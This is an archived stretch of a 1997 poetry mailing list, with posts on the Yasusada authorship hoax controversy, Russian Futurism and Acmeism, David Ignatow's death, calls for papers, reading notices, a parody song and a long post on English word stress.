Thu 20 Nov 1997

On 11.29.97, Jack Spandrift said:
>well, respondin to Rev. Gould's latest bromides, I'd like to paraphrase
>that famous RUSSKIE poet, Marina Tsvetaeva: "In this most Milquetoast
>$$CHRISTIAN$$ empire of ours, the poet is a blue-nosed coyote."

Now Jack, don't go spoiling Henry's sermons. You know he means well, and -

> *yeah, yeah, yeah...he's from MINNESOTA!!!! AAAAARRRRGGHGGHGHHH!!!!!*
> *If I ever get ahold of him, I'll wrap his email around what's left*
> *of it & tie him to a steak & let the vultures at him and....*

↑ Index

454. **Jordan Davis**
discontented graduate students send for catalogues
Thu 20 Nov 1997

Let the record show I have not met "Kent Johnson" and have no debt to him. I mentioned the article simply because it was as close to a mention in a major newspaper as recent American poetry has gotten in a good while (forgive me, Bob Holman). If Andy Warhol was right and publicity is a good in itself, then good for "Kent".

While I can't offer the intense discounts Yasusada-publisher James Sherry used to dangle before this list, I can send Teachers & Writers' fall catalogue out to anyone here who e-mails their mailing address to me. We have several non-theoretical graduate-student-irritating titles by Kenneth Koch, and a few point-making books edited by Ron Padgett (including _Handbook of Poetic Forms_ -- ask Mark Baker! -- and _T&W Guide to Walt Whitman_). Oh all right, here's a discount -- e-mail me today and I'll send you Ron Padgett's _Creative Reading_ for $20 ppd, a 20% savings off the usual deal (US & Canada US$20, elsewhere US$25).

Signed,
"Jordan"

On Wed, 19 Nov 1997, David Zauhar wrote:

> *On Wed, 19 Nov 1997, William Burmeister Prod wrote:*
> *And through readings. I just finished this morning reading poetry to a group of elementary school children (K through 5). Read to them from Roethke's _Praise to the End!_, _Words to the wind_, and _I am! Says the Lamb_. It was exciting to see how much poetry appeared to still have a place in their lives, and how their teachers gave poetry writing assignments.*
>
> *William Burmeister*
>
> *Yes! Along these lines, a lot of those Kenneth Koch and Ron Padgett books from the Teachers and Writers Collaborative (did I get the name right?) might be helpful. They're not theoretical enough to please many graduate school types (of which I'm one), but they do make points about the place of the aesthetic in education.*
>
> *This summer I taught some 6-8 graders. Their favorite: Wallace Stevens' "13 Ways of Looking at a Blackbird." At least in terms of generating imitations and parodies.*
>
> *Dave Zauhar*

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455. **David Kellogg**
Fw: Re: Yasusada in Texas
Thu 20 Nov 1997

-----Original Message-----
From: Dean A. Brink <[redacted]>

>I can't imagine anyone seriously reading the Yasusada book except as a case
>study in an ethics course, or a literary theory class discussing the limits
of
>postmodernism (I hope no one actually does this, wouldn't want to fuel his
>projects).

So, Dean Brink can't imagine why I might want to read the book? Wow, I guess I won't read it then. . .

Perhaps you shouldn't give your imagination so much credit. Just because you can't imagine why somebody would read (or do) something doesn't mean they don't have legitimate reasons for doing exactly that. That aporia is precisely enough to further my interest.

Cheers,
David
~~~
~~~

From: "Franklin D. Lewis" <[redacted]>
Subject: Literary Modalities of Praise: Conference (fwd)
To: [redacted]

---------- Forwarded message ----------
Date: Wed, 19 Nov 1997 14:40:49 -0500
From: Joan Dolphin <[redacted]>
To: [redacted]
Subject: CFP: Literary Modalities of Praise (4/15; 10/2-10/4)

Call for Papers

Lakehead University English Department
invites paper proposals for our

1998 Conference: "Literary Modalities of Praise"
October 2-4, 1998

What is praise?
What linguistic modalities make it known?
How do past or present authors effectively praise
nature, the supernatural, people, or language itself?
How is contemporary literary theory skeptical of praise?
Is there a place for praise in literary studies
that is not hagiographic, sentimental, or commercial?
What is the role of epideictic rhetoric in the construction
of literary or artistic discourse communities?
How are praise and dialogical play interrelated?
What might "constructive" praise look like
in composition and pedagogy?
If we deconstruct ideology far enough,
will the absence at the center be affirming in any way?
Why praise?

"Ever newly begin the praise you cannot accomplish."
--Rainer
Maria Rilke

Please send abstracts (or papers) for 20 minute presentations before
April 15, 1998 to:

A.G. den Otter, English,
Lakehead University,
955 Oliver Road,
Thunder Bay, Ontario
P7B 5E1
[redacted]

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457. **Michael Magee**

Re: democracy

Thu 20 Nov 1997

It seems we've started an interesting chian of misreadings, fruitful I hope. In any event, Burke's own dialectical process is anything but absolutist. And he's saved from extremes by his insistence that philosophy, like poetry, is rhetorical - about strategies rather than truths. Essentially he's a pragmatist not unlike Wm James or Dewey, in the sense that he believes that, as Dewey says, "Philosophy is not a form of knowledge. Philosophy is a form of desire, of effort at action." Any utopia which a writer posits then (and I'm thinking particularly of utopias posited at the level of syntax in a Jackson MacLow and others, not a story about "why can't we all get along") is good for what it *does* not for what it *is*. In regards to poetry, Burke describes it this way:

"The general approach to the poem might be called 'pragmatic' in this sense: It assumes that a poems structure is to be described most accurately by thinking always of the poems function. It assumes that the poem is designed to 'do something' for the poet and his readers, and that we can make the most relevant observations about its design by considering the poem as the embodiment of this act."

So, looked at in this light - utopia as a rhetorical strategy, as socially symbolic act and not absolute at all - that's what I'm getting at I guess.

-m.

According to p. durgin: >
> No No No -- Not what I was saying at all. I'm just skeptical of
> a dialectical process whose extremes are absolutes, ie. "perfect" --
> Although I'm not as familiar with Burke's system as perhaps I should be,
> the dynamic vaguely resembles typical, western, macho blunders through the
> ages.
>
>
> |||[redacted]|||
> _____
>
> On Wed, 19 Nov 1997, Michael Magee wrote:
>
> > Far from it. I am a writer so I could harly be a what-good-is-a-writer.
> > In Burke's sense, "deferred action" is the dialectical counterpart to
> > "things is not perfect," hence its utopian character - it shows

> > symbolically what could be and sets itself in dialogue with what is (or
> > isn't). Though, do you really think things could be *perfect*? I think
> > we'd all have to be dead for that. -m.
> >
> > According to p. durgin: >
> > > "defferred action" sounds like a what-good-is-a-writer telling us
> > > that "things is not perfect" as I imagine they could be.
> > >
> > >
> > > |||[redacted]|||
> > > _____
> > >
> >
>

↑ Index

458. **Maria Damon**
Re: Yasusada in Texas
Thu 20 Nov 1997

At 9:03 AM -0600 11/20/97, David Zauhar wrote:
>On Wed, 19 Nov 1997, Dean A. Brink wrote:
>
>> I would like to discuss this issue further, but you must refrain from
>>personal
>>
>> attacks (how am I "self-congratulating"?) and speak to the contents of my
>> insinuations (in this long-established discourse).
>> The issue is the forging of the book not the quality -- which, as has been
>> established from the pieces in print, is less than satisfactory: predictable
>> attempts at entrepreneurial Orientalism, riddled with affective clichÈs and
>> revealing a shallow understanding of Japanese life (to be expected of an
>> American ignorant of Japan); devaluation of the lives of actual Japanese who
>> experience the effects of the A-bombs still today.
>
>I think that the actual real A-bomb devalued the lives of its victims a
>hell of a lot more than any poem ever could.
>
>> A couple years ago in Japan a major magazine ran an article on the fact that
>> the Jewish Holocaust never happened. Should this be ignored too? (The
>>magazine
>> folded soon after, to take responsibility for the outrage.)

>
>Does Kent Johnson, or anyone else, deny that A-bombs were dropped on
>Nagasaki and Hiroshima?
>
>
>> Last week a judicial nominee withdrew his name after admitting to have
>> falsified stories of tragic racial violence against a member of his
>>family in
>> the 1940s or 50s. He took responsibility for using historical tragedy for
>> personal gains.
>
>Thanks for the update, but I read the papers and listen to NPR, too.
>
>> Similarly I think informed readers should know what they're buying and
>>boycott
>> the Johnson book if they don't want to contribute to the distortion and
>> consecration of historical tragedies (note that racism figures in all these
>> example of the Jewish Holocaust, the decision to drop the A-bomb twice on
>> Japan, and the murder of African Americans in the pre-civil rights US).
>
>You've been living in the world of discourse for too long. No one denies
>that these events are catastrophic and evil. What I object too, and called
>"self-congratulatory," was the assumption that you are the lone crusader,
>on this list, for justice.
> And I object to criticizing books you haven't read. Even if you
>know they're evil. Some time back when I worked as a free lance
>journalist I wrote about the Turner Diaries, assuming before I read it
>that it would be vile and disgusting based on what I'd heard. But before I
>wrote about it, for the now defunct Minneapolis _City Pages_, I read the
>book. Guess what? I read it, wrote more intelligently about it than I
>would have otherwise, and still to this day have not lynched a single
>person of color or feminist.
> I also object to the assumption that it is impossible for someone
>to write in a persona, to IMAGINE what it might be like to be a survivor
>of the Atomic bomb. In the Yasusada poems I've read, it seems like the
>poet does an adequate job. I could be wrong. You could even demonstrate to
>me that I've read badly, that I'm wrong, but not if you haven't read the
>poems yourself.
>
>
>> I can't imagine anyone seriously reading the Yasusada book except as a
case

>> study in an ethics course, or a literary theory class discussing the
>>limits of
>> postmodernism (I hope no one actually does this, wouldn't want to fuel his
>> projects).
>
>Who was your critical mentor, the Ayatollah Khomeini? For he too knew all
>about certain books without having to read them.
> The discourse of Orientalism is problem, and when it distorts the
>lives and experiences of other people, it should be criticized.If the
>Johnson book actually does that, go after it. But you don't really know
>if it does or not. Is this what you are learning in graduate school, how
>to make authorative pronouncements about books you haven't read? I don't
>think that's what your teachers really want.
>
>David Zauhar

jeez dave, there are enough *ideas* at stake here to make personal attack un-
necessary. even kent himself in his response was not so virulent. i tend to
agree w/ dean, tho i'd probly express myself in milder terms. and why assume
that people who raise the issue of social justice and the ethical problems with
appropriation are dupes of something you call "discourse?"

↑ Index

459. Christopher Alexander
Re: Yasusada in Texas
Thu 20 Nov 1997

Maria writes:
> jeez dave [Zauhar], there are enough *ideas* at stake here to make personal
> attack unnecessary. even kent himself in his response was not so virulent.
> i tend to agree w/ dean, tho i'd probly express myself in milder terms.

discussions about controversial topics are always subject
to this pattern of escalation--which is why you can start
off arguing about who is to do the dishes, & end up being
called or calling someone "asshole" & the like. while I
agree with Maria here, that we might be able to have this
discussion without that sort of interference, I wld also like
to point out that escalation is something like a virus: it
comes from somewhere & it goes somewhere. in this case,
I think it's a little silly to jump on Dave Zauhar for an
inflammatory ad hominem post without acknowledging
that Dean's remarks about "self-deploying fanfare" &

"lackadaisical nonchalance" hardly meet the standard of disinterested criticism he's bearing.

incidentally, I wonder if we can look a little more closely at the frequently levelled accusation that (assuming for a second that which is by no means a foregone conclusion) Kent constructed this project to enrich himself either in terms of monetary or cultural capital (I think the statement in this case was "tantamount to forging Jewish Holocaust literature just to make a buck at Borders"--not an outright accusation, but the implication is there). now, before folks start jumping on my head, let me say this isn't quite a defense of the project--which *does* have very serious ethical implications of which *all* of us are aware--so much as it is a wish to drop excess baggage. does anyone seriously believe that the AY author is going to make his/her fortune from the sales of this book? that it's going to get him or her a great job somewhere? from what I've seen so far, Kent, as the most prominent figure in the affair, isn't rolling in ill-gotten gains, be they monetary or, again, cultural capital. in fact, except for a few supporters & a few more temperate critics, he's been absolutely reviled at every turn as an unredeemed racist who tells the worst kind of lie--the one we believed.

now, I'd love to have this discussion again, but first can we all go back to our corners & figure out what's really at stake?

best, Chris

..

Christopher W. Alexander etc. / nominative press collective

email: [redacted]
snail-mail: P.O. Box 522402 / Salt Lake City UT 84152-2402
press/zine site: http://choengmon.lib.utah.edu/~calexand/nonce/

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460. **Jordan Davis**
rediscovered contentiousness
Thu 20 Nov 1997

"Kent" --

Sorry to have assumed that the Yasusadayada was in fact a publicity scheme! I don't know where I could have gotten this idea! I regret that because I am on a tight budget the Roof Book-to-be-published-next-year I am planning on acquiring is not the Yasusada book but Brian Kim Stefans' _Free Space Comix_! Best of luck!

-- "Jordan"

At 10:10 AM -0500 11/20/97, KENT JOHNSON wrote:
>A spur of the moment and awkward attempt at light-heartedness on my
>part, and I apologize to Jordan.

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461. George Bowering
Re: lingo
Thu 20 Nov 1997

Damn, every time I try to reply to a Bromige bromide, my damned server freezes. Ouch! Damn, I hate having a frozen server. But I sure like having Bromige on the line. He is a warm person. I melt when I hear his warm English cadence. I have also just read 2 more books by rae Armantrout. Boy, is she good. And I am thankful to Brmige for touting her to me a few years ago.

George Bowering.

,

2499 West 37th Ave.,
Vancouver, B.C.,
Canada V6M 1P4

fax: [redacted]

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462. Christina Fairbank Chirot
Re: Futurists, Formalists, Acmeists
Thu 20 Nov 1997

Having been away from this list for some time due to work in visual poetry, painting, etc.--this note may be somewhat late. In the discussion of the futurists, formalists and acmeists, an important work to consider is The Futurists, the Formalists and the Marxist Critique, edited and introduced by Chritospher Pike with translations by Pike and Joe Andrews as well as prefaces, notes and afterword provided by Gerard Conio and translated from the French by R. Swyer. London: Ink Links, 1979. The influence of the formalists in the last quarter century on many aspects of "language centered writing " is well known, and the influence of the Acmeists, both in Russia and the USA today, is also well

known. The work of the Futurists however has been for the most part suppressed or distorted. Indeed, in an essay in the Chuch Welch edited book Eternal Network, the Russian visual poet and mail artist Rea Nikonovna notes that when she and her husband fellow visual poet and mail artist published the Samizdat journal Transpolans in the 1970s, a Neo-Futurist journal, it was widely attacked by both the social realists and the conservatives of the Acmeist schools.Personally and as a writer and visual poet, I find that much more is to be learned from the Russian Futurists, that there is much to consider in their work, their manifestos, their visual poetry and artists books--and perhaps that is why they are still largely ignored, because they offer ways of working and thinking opposed to the more easily acceptable formalists and Acmeists. I would hope that with the slowly growing body of work in English language concerning the Futurists more recognition and thought will be given to them and their work. While attending a Visual Poetry conference last summer in Edmonton, I found that to the poets from Russia and Ukraine, the greatest poets of this century for them are the Futurists Khlebnikov and Kruchonyhk--not the Acmeists or the formalists. There are a number of excellent books now available on Russian Futurism; one that is in part available on the web is Gerald Janecek's Zaum The transrational poetry of Russian Futurism which is mainly concerned with the work of Kruchonyhk. Chapters from the book and some of the work of Kruchonhyk may be found at Light and Dust
http://www.thing.net/~grist/homekarl.htm

from Zaumland--

dbchirot

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463. **Henry G**
Re: Futurists, Formalists, Acmeists
Thu 20 Nov 1997

I have heard from others that the work of Kruchonyk, not widely known in the US (to say the least) is very strong. I can't argue with your version of the respective treatment of Acmeists or Futurists in Russia, Dave, but I'm skeptical of a simplified victimology ("futurists were ignored or suppressed"). For one thing, the formalists were critics & literary scholars, not a school of poetry - & they focused on the futurists in their studies as well as on the "acmeist school" (it never was a "school" - unless you're talking about people like A. Kushner, an academic Mandelstam imitator of the present generation). Secondly, as I understand it, the interest of some of the language poets in russian poetry had a LOT to do with the futurists, not just the theories of the formalists. Khlebnikov has had at least as much a vogue on that score as the acmeists.

Mikhail Epstein has an interesting essay comparing end-of-century russian "schools" with the big 3 at the beginning of century (symbolism acmeism, futurism) in the THIRD WAVE anthology. But it's also sort of creatively forced & schematic. Acmeism... it's sort of shorthand for particular poets, like Gumilev, Mandelstam & Akhmatova. But it means what you make of it these days (the way Epstein did). The fact is Mandelstam & Akhmatova left not only a body of poetry but of theoretical writings & essays for scholars to chew over; Khlebnikov did the same, but less traditional & more difficult to analyze. Maybe that's part of the "problem". But is it a problem? They were not airtight schools by any means. Mandelstam held Khlebnikov in high regard & some say elements of his style were drawn from K. during the 20s. Pasternak, closely associated with the futurists, has certainly gotten at least as much attention as the "acmeists". - Henry Gould

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464. **acgold01**
Andrews poem
Thu 20 Nov 1997

Tom (Vogler)--Eyebrow-raisingly enough, Robert Pinsky devotes 2+ pages to "Bananas are an example" in *The Situation of Poetry* (Princeton, 1976), and discusses it in terms of--guess what?--the logic of exemplification. According to Pinsky's note, the poem was published in The Paris Review 53 (1972), p. 162. Whether it's reprinted in one of Bruce's books I don't know.

Whoda thunk it?

Alan

(Though someone who took a workshop with RP once told me that he discussed Grenier with some modicum of interest.)

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465. **Timothy Materer**
MODERN_POETS-L
Thu 20 Nov 1997

Dear Listmembers: If anyone would like to add to or vary their e-mail by joining a modern poetry discussion group, you would be especially welcome:

MODERN_POETS-L is an electronic discussion list devoted particularly to the generation of poets whose work developed from the 1900s through the 1940s, including Wallace Stevens, Marianne Moore, Hart Crane, Robert Frost, W. H. Auden, Mina Loy, Langston Hughes, and William Carlos Williams. (This listing is not restrictive. Ezra Pound, T. S. Eliot and H.D. are not mentioned because

they have active lists of their own.) Poets whose careers were briefer or less influential are welcome in the discussion as well as later ones who have brought modernist poetics into the contemporary scene. The discussion will develop according to the interests of the list members. The list is unmoderated and open to all readers of modern poetry. Questions should be addressed to Timothy Materer at the University of Missouri <[redacted]>

leaving the Subject line blank. In the body of the message, enter the single line:

SUBSCRIBE MODERN_POETS-L Yourfirstname Yourlastname

Timothy Materer, 228 Tate, English Department
University of Missouri, Columbia MO 65211
http://www.missouri.edu/~engtim

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466. **Scott Pound**

Mail Strike in Canada

Thu 20 Nov 1997

This is a quick notice to the people who have kindly indicated that they would like to subscribe to ESSEX:

Canada Post is on strike which prevents me, for the time being, from mailing issues to new subscribers. Please hold off on posting payment to the Toronto address for now. There's good indication that the strike may be over in a week.

If the strike drags on I will mail stuff out from Buffalo the next time I'm down, which will be within the next month for sure.

Thanks,

Scott Pound

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467. **david bromige**

latest hit theyre hummin in yasonoma county

Thu 20 Nov 1997

---

yasu, thats my sada
nosu, dont mean nada
yesu, thats my sada now

and on that day
yes on that day
i'm gonna walk up to that sherry-man & say

roof books, do my sada
yasu, dont mean nada
roof books, do my sada now

it's not a hoax
it is a hoax
the author's dead & here we have the quotes

& if it floats
yes if it floats
or if it sinks or swims kent proudly boasts

yasu thats my saga
now, fans, dont go gaga
get on line buy yasusada no-ow

now here's my point:
creation's joint
the eye of the beholder proves my point:

yasu, thats _your_ sada
nosu, thats _your_ nada
send _your_ dough for yasusada no-ow!

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468. **Maria Damon**
Re: latest hit theyre hummin in yasonoma county
Thu 20 Nov 1997

---

thanks bromige for the terrific laugh!

At 6:22 PM -0800 11/20/97, david bromige wrote:
>yasu, thats my sada
>nosu, dont mean nada
>yesu, thats my sada now
>
>and on that day
>yes on that day
>i'm gonna walk up to that sherry-man & say
>
>roof books, do my sada
>yasu, dont mean nada
>roof books, do my sada now
>
>it's not a hoax
>it is a hoax

>the author's dead & here we have the quotes
>
>& if it floats
>yes if it floats
>or if it sinks or swims kent proudly boasts
>
>yasu thats my saga
>now, fans, dont go gaga
>get on line buy yasusada no-ow
>
>now here's my point:
>creation's joint
>the eye of the beholder proves my point:
>
>yasu, thats _your_ sada
>nosu, thats _your_ nada
>send _your_ dough for yasusada no-ow!

↑ Index

469. **Charles Bernstein**
David Ignatow (1914-1997)
Fri 21 Nov 1997

David Ignatow died on Monday, according to an obituary in Wednesay's New York Times.

from "All Else is Prelude" in The One and the Many:

"If language could save me from death, I would already have been declared bodily immortal. I wrote that with thought in mind, thinking writing was an elixir of the secret of living forever, until I began to spy my hair graying. I had to a knowledge that if there is immortality, it is in writing itself as an art, not as an elixir of the body's survival. Now I have to write so that what I write has the very breadth of life itself, such as I can write into it to have it live beyond me, for me, by me, having by then died."

↑ Index

470. **Jerry E. Fletcher**
Re: latest hit theyre hummin in yasonoma county
Fri 21 Nov 1997

Don't know, but it seems most of us aren't really interested and/or are bored with the Yasusada crap, lets move along, get over it, OK.

Jerry.

↑ Index

471. dbkk
Davis and in SF
Fri 21 Nov 1997

Small Press Traffic presents:

Tim Davis
John Tranter

Saturday, November 29, 7:30 p.m.
New College Cultural Center
766 Valencia Street, San Francisco
$5

Tim Davis is the author of two chapbooks, _My Life In Politics--or--A History of N=A=R=R=A=T=I=V=E Film_ (Object Editions/Poetscoop) and _The Analogy Guild_ (Arras Press). He is also a ukeleleist, photographer, assistant editor at New Directions. ³These days,² he writes, he ³seems to feel both shaken and stirred.² Davis is among the new generation of young poets who have once more made New York the poetry capital of America while we look on with remote envy and fascination. His writing combines every mode you can think of with volley upon volley of perception, analysis and a thousand jokes and puns. ³Their masseuses telex like it is/ a peace ribbon/ frayed with lack of rage/ there¹s an Œa so¹ in Mason/ but I don¹t know/ all society is secret our/ crinoline rallying cries claim.²

Born in 1943, John Tranter is the ³leading Australian poet of his generation.² He has published ten volumes of poetry, including a _Selected Poems_ (Hale & Iremonger, Sydney, 1982). His most recent books are _The Floor of Heaven_ (1992), and _At The Florida_ (1993). His work appears in the _Norton Anthology of Modern Poetry_ (New York, second edition, 1988). He compiled and edited (with Philip Mead) the 1992 _Penguin Book of Modern Australian Poetry_. Earlier anthologies include the controversial _The New Australian Poetry_ (1979). Tranter has published widely at home and abroad in the _Paris Review, Kenyon Review, Grand Street, New American Writing, Conjunctions, Boulevard,_ and _Post-Modern Culture_ (on the Internet). He now lives in Sydney.

↑ Index

472. David R. Israel
(Fwd) Cheap Print & Pop Culture (CFP)
Fri 21 Nov 1997

Poetas,

got the appended, and thought it might interest some here. In particular, although evidently the tabloid press (& maybe pulp fiction?) is the probable major focus of the requested essays, seems to me there may well be scope for discussion of that fave topic here in Poetics land --

the Xerox-zine / Mimeo-zine
[or other variants of nonofficial publication] --

as note the inviter's remark: << . . . these essays should focus on the way in which cheap print in general, or particular print forms, can not only represent but transform culture. >>

She does also refer to << studying the format of cheap,
mass-distributed print>>

so while those myriad of mimeo / xerox poetry magazines all qualify
in terms of "cheap", whether they qualify in terms of
"mas-distributed" is another kettle of worms / can of fish.

I leave that to work out with your prospective editor . . .

d.i.

btw, I don't subscribe to the "calls for papers" mailing list, but one supposes that some diehard essayists might find it of interest (see end of post for particulars)

---------- Forwarded message ----------
Date: Wed, 19 Nov 1997 21:56:55 -0500
From: "Deborah Applegate (GD 1996)" <[redacted]>
To: [redacted]
Subject: CFP: Cheap Print & Pop Culture (1/15; collection)

CALL FOR CONTRIBUTORS:

TABLOID HISTORY: CHEAP PRINT AND POPULAR CULTURE

I would like to invite you, to submit a portion of your work for a volume of collected essays entitled, "Tabloid History: Cheap Print and Popular Culture."

"Tabloid History" is designed as a collection of essays depicting the ways in which studying the format of cheap, mass-distributed print changes our understanding of cultural and literary history. In contrast to recent volumes which present periodicals through more traditional forms of literary/publishing

history, these essays should focus on the way in which cheap print in general, or particular print forms, can not only represent but transform culture.

All topics, geographical regions and time periods are welcome. Interdisciplinary work is strongly encouraged. Submissions will be chosen on the basis of their interpretive and methodological contributions.

My idea is that the essays will be as clear and brief as possible. They should be useful both for scholars trying to think in new ways with pthis material and for undergraduate classes looking to combine primary fmaterials with a good secondary essay that will illuminate the toriginal documents. I'm less interested in getting a bunch of brand new pwork, per se, as much as distilling the best lessons from the work that tpeople are already doing.

Because I would like to move along the pace of this project, I'd be grateful if you could contact me immediately if you are at all interested in contributing. The deadline for abstracts is Jan. 15, so I can get preliminary approval from the publisher.

Thank you very much for your time,

Debby Applegate

American Studies Program
Yale University
53 Lawrence St.
New Haven, CT 06511
[redacted]

==========

From the Literary Calls for Papers Mailing List
[redacted]
Full Information at
http://www.english.upenn.edu/CFP/
or write Jack Lynch: [redacted]

==========

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473. William Burmeister Prod
Re: David Ignatow (1914-1997)
Fri 21 Nov 1997

On Nov 21, 1:24am, Charles Bernstein wrote:
> Subject: David Ignatow (1914-1997)

> David Ignatow died on Monday, according to an obituary in Wednesay's New
> York Times.
>
> from "All Else is Prelude" in The One and the Many:
>
> "If language could save me from death, I would already have been declared
> bodily immortal. I wrote that with thought in mind, thinking writing was an
> elixir of the secret of living forever, until I began to spy my hair
> graying. I had to a knowledge that if there is immortality, it is in
> writing itself as an art, not as an elixir of the body's survival.
> Now I have to write so that what I write has the very breadth of life
> itself, such as I can write into it to have it live beyond me, for me, by
> me, having by then died."
>-- End of excerpt from Charles Bernstein

Thank you Charles for relaying the sad news. I didn't know him personally, but I have been reading him with much interest. David Ignatow was a poet of uncommon, brutal honesty. A poet of the real but also a poet of alternate reality, of very real possibilities (the 'what if,' or 'why not'). I have found in his poetry a tough but hopeful dialogue with self; far from familiar, even his physical self to him could be as other as deathly reflection in a mirror. His journals reveal this lifelong struggle with his own identity and mortality. They also point to him as poet/citizen having a considerable political conscience. He too has been underestimated, always there prolifically writing away in the background, but I don't think this will continue to be the case.

Sadly - William Burmeister

↑ Index

474. **Tosh**
Re: David Ignatow (1914-1997)
Fri 21 Nov 1997

A couple years ago, he gave a lively reading at Beyond Baroque. He was wonderful, and a very pleasant person to boot. Sorry to hear about his passing

---
Tosh Berman
TamTam Books

↑ Index

475. Charles Bernstein
Dia Reading / NYC
Fri 21 Nov 1997

Kathleen Fraser
& CharlesBernstein
reading at DIA Center for the Arts
Friday, December 5, 7pm
548 West 22nd Street
New York, NY

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476. Jerry McGuire
special issue
Fri 21 Nov 1997

This issue of _College Literature_, just out, may interest some of you.

Diversity and American Poetries
College Literature 24.3, Oct. 1997
Guest Editor, Jerry McGuire

Contents:

Jerry McGuire.....Introduction: Diversity, Factionalism, and Audience

Richard Masteller.....Between Silence and Banality: The Poetic Search for Community

Janet Zandy.....Fire Poetry on the Triangle Shirtwaist Company Fire of March 25, 1911

Walter Kalaidjian....."Deeds Were Their Last Words": The Return of Edwin Rolfe

Albert Cook.....Metrical Inventions: Zukofsky and Merwin

Karen J. Ford.....These Old Writing Paper Blues: The Blues Stanza and Literary Poetry

Jonathan N. Barron.....At Home in the Margins: The Jewish American Voice Poem in the 1990s

Nicky Marsh....."Out of My Texts I Am Not What I Play": Politics and Self in the Poetry of Susan Howe

Charles Bernstein.....Riding's Reasons: An Introduction to Laura (Riding) Jackson and Schuyler Jackson, _Rational Meaning: Toward a New Foundation of Words_

REVIEW ESSAYS

Timothy Brennan.....Controlling Terms: Originality in African Diasporic Studies [Reviews Tejumola Olaniyan, _Scars of Conquest/ Masks of Resistance_; Farah Jasmine Griffin, _Who Set You Flowin'?: The African-American Migration Narrative_]

Anthony Dawahare.....The Remembering and Remaking of American Working Class Life and Literature [Reviews Constance Coiner, _Better Red: The Writing and Resistance of Tillie Olsen and Meridel LeSueur_; Janet Zandy, ed., _Liberating Memory: Our Work and Our Working-Class Consciousness_]

David Stouck.....Willa Cather and Cultural Studies [Reviews Joseph Urgo, _Willa Cather and the Myth of American Migration_; Walter Benn Michaels, _Our America: Nativism, Modernism, Pluralism_]

Marc Ratner.....A Larger "Slice of Life": Re-Assessing Literary Naturalism [Reviews _Paul Civello, _American Literary Naturalism and Its Twentieth-Century Transformations_; James R. Giles, _The Naturalistic Inner-City Novel in America: Encounters with the Fat Man_]

T. J. Arant.....Trouble with Anthologies [Reviews John Ed Pearce, _Days of Darkness: The Feuds of Eastern Kentucky_; Robert J. Higgs, Ambrose N. Manning, and Jim Wayne Miller, eds., Appalachia Inside Out, Volume 1: Conflict and Change_; and Volume 2: Culture and Custom_]

Feroza Jussawalla.....Children's Literature [Review of Peter Hunt, _An Introduction to Children's Literature_; Gillian Avery, _Behold the Child: American Children and Their Books 1621-1922_]

The special issue is available at $8 per copy. A one year subscription is $24.00. Requests for the issue can be sent, with a check payable to COLLEGE LITERATURE, to:

COLLEGE LITERATURE, SSC II C-474,
West Chester University
West Chester, PA 19383

All best--

Jerry

↑ Index

477. David R. Israel
quadrosyllabics
Fri 21 Nov 1997

Poetas,

hazarding outre tangentiality, here's forwarding a post of mine from the SoAsian Literature listserv -- with my runaway exploration of quadrosyllabics [or is that quatro-?] in English.

cheers,
d.i.

------- Forwarded Message Follows -------
From: David R. Israel <[redacted]>
To: [redacted]
Subject: 2nd syllable stress
Date: Fri, 21 Nov 1997 22:22:04 -0400

[was, Re: regarding farsi]

Moazzam,

thanks for the excerpt from Manto's letter to Nehru -- this is the 1st of read of this much-mentioned Manto, and he seems witty & likeable.

/ / / / /

Hope you'll pardon me if I pedantically quibble over one small point of English. Your point was quite good, and yet the illustration was poss. inaccurate in one particular. You wrote --

> *. . . When a word travels, it is vulnerable to the new environment. Everyone, or a vast majority at least, in the Subcontinent pronounce 'photo graphy', as with two equal stresses, not realizing that English is a stress language, and a 'native', and I understand I am here as vulnerable as any word, of English will pronounce 'ph[]tography' putting the stress on the first syllable.*

Did you really mean the *first* syllable -- i.e., PHOto-graphy?

There are many differences in stress between British pronunciation and American. Here are a few common examples (using capitalized syllables to denote the syllable wherein occurs the stress):

American	British
garAGE	GARage
LABoratory	laBORatory
WEEKend	weekEND

As a "native American speaker" (not to say an Amerindian), I can tell you (with a sense of conviction) that photography, in the U.s., is properly pronounced with stress on the 2nd (not 1st) syllable -- i.e.,

phoTOGraphy

In this, the word follows the same (2nd-syllable-stress) pattern as is to be seen in similar (4-syllable) words (many of which are, likewise, ideational nouns). There are quite a number of examples. Allow me to present a concatenation of such:

biOGraphy / geOGraphy / porNOGraphy /
ePIphany / anTIthesis / philOLogy /

onTOLogy / onTOGeny / phyLOGeny /
onCOLogy / zoOLogy / asTROLogy /

exOGgenous / homOLogous / hoMOGinized /
biOGraphist / phoTOGraphist / anTHOLogized /

asTRONomy / lobBOTomy / eCONomy /
exCEEDingly / perNICiously / apPALlingly /

enTIrely / reDICulous / psyCHOLogy /
aPOLogy / cosMOLogy / anTHOLogy /

desPARingly / peDANtically / comMODious /
ofFICiously / deLICiously / melLODious /

apPARantly / enVItronment / suPERlative /
unCERtainty / enVIDeous / comPARative

sufFICiency / efFICiency / proDIGiously /
prePOSterous / hyPOTHesis / reLIGiously /

liTIGinous / phiLOsophy / reLIGionist /
acQUIsitive / deRIVitive / reVISionist /

acCOUtrement / reQUIRement / aMAZingly /
asTONishing / adMONishing / outRAGeously /

acCORDingly / afFORDable / supPOSedly /
adDORingly / aDORable / imPOSingly /

EmPEDocles / PyTHAGoras / HerODdotus /
TheuSIDdites [sp?] / EuRIPpides / phoTOGraphous [a neolgism]

and the like.

[the penultimate 5 words are, of course, Greek names -- but they follow quite the same pattern (prosody), and I suspect that they may well hint at the origin of this stress pattern in English]

/ / / / /

Now, I suppose it's poss. that Britishers may say PHOtography -- they do get a lot of things mixed up like that! ;-) -- but I did think (till seeing your post) that they had *this* one right -- er, I mean, the same as is heard in the American form, which latter is, as said, -- (at least throughout my short lifespan it has been) --

phoTOGraphy

(believe it or not . .)
'nuff said?

cordially yours,
d.i.

p.s.: to wax aphoristic:

phoTOGraphy is to biOGraphy
as is word to thought . . . .

p.p.s.: I dearly hope this runaway tangent of a post [note stress in tanGENtially] may hap to inspire some resident SAsian writer, & thereby beLATedly justify my reCALcitrant [ditto] . . . [etc.] . . .

```
 .
 .....
 ............
 \\\\
```

PHOtograph, phoTOGraphy, and photoGRAPHic. Not a bit tangential to my own sense of each word as at least a ratchet set. [All that so I could read the transliterations in Blythe's four volume _Haiku_ properly!] Gotta dig the beat!

Daniel Zimmerman

David R. Israel wrote:
>
> Poetas,
>
> hazarding outre tangentiality, here's forwarding a post of mine from
> the SoAsian Literature listserv -- with my runaway exploration of
> quadrosyllabics [or is that quatro-?] in English.
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> aPOLogy / cosMOLogy / anTHOLogy /
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> ofFICiously / deLICiously / melLODious /
>

